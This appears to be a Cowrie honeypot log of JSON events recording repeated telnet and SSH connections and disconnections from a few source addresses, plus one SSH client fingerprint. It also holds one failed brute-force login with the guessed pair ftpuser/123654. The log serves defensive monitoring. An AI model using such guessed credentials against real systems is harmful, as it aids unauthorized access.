{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46140,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0d73ecb4643","protocol":"telnet","message":"New connection: 162.55.233.176:46140 (159.203.135.109:23) [session: a0d73ecb4643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:04.629827Z"}
{"eventid":"cowrie.session.closed","duration":36.01414775848389,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:05.068243Z","src_ip":"162.55.233.176","session":"0fd1b97b4ed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.897998332977295,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:05.221889Z","src_ip":"162.55.233.176","session":"49bceea0acc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46150,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0c9918ad8b3","protocol":"telnet","message":"New connection: 162.55.233.176:46150 (159.203.135.109:23) [session: b0c9918ad8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:05.633400Z"}
{"eventid":"cowrie.session.closed","duration":31.137993335723877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:05.638579Z","src_ip":"162.55.233.176","session":"c48e7575085e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46154,"dst_ip":"159.203.135.109","dst_port":23,"session":"b869496ff4a8","protocol":"telnet","message":"New connection: 162.55.233.176:46154 (159.203.135.109:23) [session: b869496ff4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:06.441656Z"}
{"eventid":"cowrie.session.closed","duration":30.701064586639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:07.493948Z","src_ip":"162.55.233.176","session":"0a00dbf9885c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.09696173667908,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:07.648791Z","src_ip":"162.55.233.176","session":"baadb8e3dad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69724464416504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:07.706609Z","src_ip":"162.55.233.176","session":"309907bab5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965585470199585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:07.790615Z","src_ip":"162.55.233.176","session":"843ce0b4ad89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.604209423065186,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:07.934204Z","src_ip":"162.55.233.176","session":"425dceb96c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15145397186279,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:08.622926Z","src_ip":"162.55.233.176","session":"44f72806039e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.01201796531677,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:09.006201Z","src_ip":"206.189.32.23","session":"b3b70d6f9459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46166,"dst_ip":"159.203.135.109","dst_port":23,"session":"118ec48e18d5","protocol":"telnet","message":"New connection: 162.55.233.176:46166 (159.203.135.109:23) [session: 118ec48e18d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:10.369220Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46172,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a629e369061","protocol":"telnet","message":"New connection: 162.55.233.176:46172 (159.203.135.109:23) [session: 1a629e369061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:10.473320Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46180,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d8bcbc02898","protocol":"telnet","message":"New connection: 162.55.233.176:46180 (159.203.135.109:23) [session: 2d8bcbc02898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:11.485808Z"}
{"eventid":"cowrie.session.closed","duration":31.384365558624268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:11.810673Z","src_ip":"162.55.233.176","session":"eb67225b75ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46186,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbba6003ba97","protocol":"telnet","message":"New connection: 162.55.233.176:46186 (159.203.135.109:23) [session: dbba6003ba97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:12.588400Z"}
{"eventid":"cowrie.session.closed","duration":31.209582805633545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:12.807349Z","src_ip":"162.55.233.176","session":"0b661d7e179f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092041969299316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:12.813301Z","src_ip":"162.55.233.176","session":"333a2425b918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34536600112915,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:13.803408Z","src_ip":"162.55.233.176","session":"2e50992dfcb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60414,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ab25f3a356","protocol":"telnet","message":"New connection: 162.55.233.176:60414 (159.203.135.109:23) [session: 94ab25f3a356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:13.877923Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56090,"dst_ip":"10.17.0.5","dst_port":23,"session":"a953aa9ea532","protocol":"telnet","message":"New connection: 188.208.141.113:56090 (10.17.0.5:23) [session: a953aa9ea532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:14.593374Z"}
{"eventid":"cowrie.session.closed","duration":32.63759803771973,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:14.598919Z","src_ip":"162.55.233.176","session":"f1cef8650626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.21626949310303,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:15.868491Z","src_ip":"162.55.233.176","session":"00afda1fdf79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.461124658584595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:15.968738Z","src_ip":"162.55.233.176","session":"dd4f1fadd10a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643412590026855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:16.315080Z","src_ip":"162.55.233.176","session":"24821cc77167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46960,"dst_ip":"10.17.0.5","dst_port":23,"session":"a148171a9119","protocol":"telnet","message":"New connection: 206.189.32.23:46960 (10.17.0.5:23) [session: a148171a9119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:16.909332Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60422,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba08d6e50d1","protocol":"telnet","message":"New connection: 162.55.233.176:60422 (159.203.135.109:23) [session: 4ba08d6e50d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:16.915275Z"}
{"eventid":"cowrie.session.closed","duration":32.980257511138916,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:17.006817Z","src_ip":"162.55.233.176","session":"efb9cd1f88f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65195631980896,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:17.522804Z","src_ip":"162.55.233.176","session":"e058f8e0a3b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60438,"dst_ip":"159.203.135.109","dst_port":23,"session":"c159b72932d7","protocol":"telnet","message":"New connection: 162.55.233.176:60438 (159.203.135.109:23) [session: c159b72932d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:17.921414Z"}
{"eventid":"cowrie.session.closed","duration":32.78367614746094,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:17.993905Z","src_ip":"162.55.233.176","session":"9b166c251d56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60444,"dst_ip":"159.203.135.109","dst_port":23,"session":"9752cd5a754c","protocol":"telnet","message":"New connection: 162.55.233.176:60444 (159.203.135.109:23) [session: 9752cd5a754c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:18.710241Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60454,"dst_ip":"159.203.135.109","dst_port":23,"session":"21887dee225a","protocol":"telnet","message":"New connection: 162.55.233.176:60454 (159.203.135.109:23) [session: 21887dee225a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:18.880081Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60466,"dst_ip":"159.203.135.109","dst_port":23,"session":"75271f4e389f","protocol":"telnet","message":"New connection: 162.55.233.176:60466 (159.203.135.109:23) [session: 75271f4e389f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:18.885532Z"}
{"eventid":"cowrie.session.closed","duration":32.007524490356445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:20.278854Z","src_ip":"162.55.233.176","session":"7b761f8b621c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60478,"dst_ip":"159.203.135.109","dst_port":23,"session":"63860c15bf3d","protocol":"telnet","message":"New connection: 162.55.233.176:60478 (159.203.135.109:23) [session: 63860c15bf3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:20.381223Z"}
{"eventid":"cowrie.session.closed","duration":36.40052533149719,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:21.006294Z","src_ip":"162.55.233.176","session":"4934f6542de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16362524032593,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:21.011014Z","src_ip":"162.55.233.176","session":"5b5a865babeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05140662193298,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:21.200473Z","src_ip":"162.55.233.176","session":"078ef74e8671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51066,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5bb4a5fec0e","protocol":"telnet","message":"New connection: 206.189.32.23:51066 (10.17.0.5:23) [session: c5bb4a5fec0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:21.329857Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60482,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3acd2be0c01","protocol":"telnet","message":"New connection: 162.55.233.176:60482 (159.203.135.109:23) [session: c3acd2be0c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:22.105226Z"}
{"eventid":"cowrie.session.closed","duration":31.35623335838318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:22.929689Z","src_ip":"162.55.233.176","session":"87f6d0dbcf36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eac616b599c","protocol":"telnet","message":"New connection: 188.208.141.113:43386 (10.17.0.5:23) [session: 5eac616b599c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:22.940914Z"}
{"eventid":"cowrie.session.closed","duration":40.33284902572632,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:23.217588Z","src_ip":"162.55.233.176","session":"22455b25502b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96904158592224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:23.358980Z","src_ip":"206.189.32.23","session":"707248ae4ec1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.96592307090759,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:23.498706Z","src_ip":"162.55.233.176","session":"047c3b1e14de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17151212692261,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:23.876746Z","src_ip":"162.55.233.176","session":"d9b8b6e14f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9747416973114014,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:25.304475Z","src_ip":"206.189.32.23","session":"c5bb4a5fec0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57700,"dst_ip":"159.203.135.109","dst_port":23,"session":"33d3b2eefe4f","protocol":"telnet","message":"New connection: 162.55.233.176:57700 (159.203.135.109:23) [session: 33d3b2eefe4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:25.470518Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57708,"dst_ip":"159.203.135.109","dst_port":23,"session":"97232ccccf5b","protocol":"telnet","message":"New connection: 162.55.233.176:57708 (159.203.135.109:23) [session: 97232ccccf5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:25.484504Z"}
{"eventid":"cowrie.session.closed","duration":46.39737892150879,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:25.722536Z","src_ip":"188.208.141.113","session":"2d05b5e20636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812739610671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:26.471651Z","src_ip":"162.55.233.176","session":"116c809f244f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43388,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a77acdf7666","protocol":"telnet","message":"New connection: 188.208.141.113:43388 (10.17.0.5:23) [session: 7a77acdf7666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:26.851455Z"}
{"eventid":"cowrie.session.closed","duration":30.83375358581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:27.317560Z","src_ip":"162.55.233.176","session":"f143473f9b82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57716,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fd7abc9ee4e","protocol":"telnet","message":"New connection: 162.55.233.176:57716 (159.203.135.109:23) [session: 9fd7abc9ee4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:27.382223Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"36e436d1b783","protocol":"telnet","message":"New connection: 162.55.233.176:57726 (159.203.135.109:23) [session: 36e436d1b783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:29.577155Z"}
{"eventid":"cowrie.session.closed","duration":33.80663800239563,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:29.707778Z","src_ip":"162.55.233.176","session":"d139fc8f5962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.87892508506775,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:30.443848Z","src_ip":"162.55.233.176","session":"0a22770132e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.142179012298584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:30.583810Z","src_ip":"162.55.233.176","session":"e71b1e71da26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57730,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c8ea63d9e2","protocol":"telnet","message":"New connection: 162.55.233.176:57730 (159.203.135.109:23) [session: 52c8ea63d9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:31.919595Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57738,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b351c16a14","protocol":"telnet","message":"New connection: 162.55.233.176:57738 (159.203.135.109:23) [session: a9b351c16a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:32.154654Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57746,"dst_ip":"159.203.135.109","dst_port":23,"session":"7180bcbf282b","protocol":"telnet","message":"New connection: 162.55.233.176:57746 (159.203.135.109:23) [session: 7180bcbf282b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:32.557392Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48282,"dst_ip":"10.17.0.5","dst_port":23,"session":"2157fd9c1152","protocol":"telnet","message":"New connection: 188.208.141.113:48282 (10.17.0.5:23) [session: 2157fd9c1152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:32.785743Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53822,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6b1e72e9e9","protocol":"telnet","message":"New connection: 162.55.233.176:53822 (159.203.135.109:23) [session: ea6b1e72e9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:33.357487Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":25907,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a9d24b4dbce","protocol":"ssh","message":"New connection: 38.137.11.14:25907 (10.17.0.5:22) [session: 0a9d24b4dbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:33.539795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:33.545069Z","src_ip":"38.137.11.14","session":"0a9d24b4dbce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.216902017593384,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:33.626817Z","src_ip":"162.55.233.176","session":"a2f8fb51bbec","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:33.777473Z","src_ip":"38.137.11.14","session":"0a9d24b4dbce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53834,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf1a8a58bad","protocol":"telnet","message":"New connection: 162.55.233.176:53834 (159.203.135.109:23) [session: 0cf1a8a58bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:33.958330Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53838,"dst_ip":"159.203.135.109","dst_port":23,"session":"745bd5645f5b","protocol":"telnet","message":"New connection: 162.55.233.176:53838 (159.203.135.109:23) [session: 745bd5645f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:34.270988Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53850,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc94f18c17f","protocol":"telnet","message":"New connection: 162.55.233.176:53850 (159.203.135.109:23) [session: 1cc94f18c17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:34.513461Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123654","message":"login attempt [ftpuser/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:34.741405Z","src_ip":"38.137.11.14","session":"0a9d24b4dbce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53866,"dst_ip":"159.203.135.109","dst_port":23,"session":"763b87a409ec","protocol":"telnet","message":"New connection: 162.55.233.176:53866 (159.203.135.109:23) [session: 763b87a409ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:35.359390Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53870,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ca34135756","protocol":"telnet","message":"New connection: 162.55.233.176:53870 (159.203.135.109:23) [session: 26ca34135756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:35.397239Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53872,"dst_ip":"159.203.135.109","dst_port":23,"session":"abfa6c8100c1","protocol":"telnet","message":"New connection: 162.55.233.176:53872 (159.203.135.109:23) [session: abfa6c8100c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:35.739055Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:35.977677Z","src_ip":"38.137.11.14","session":"0a9d24b4dbce","protocol":"ssh"}
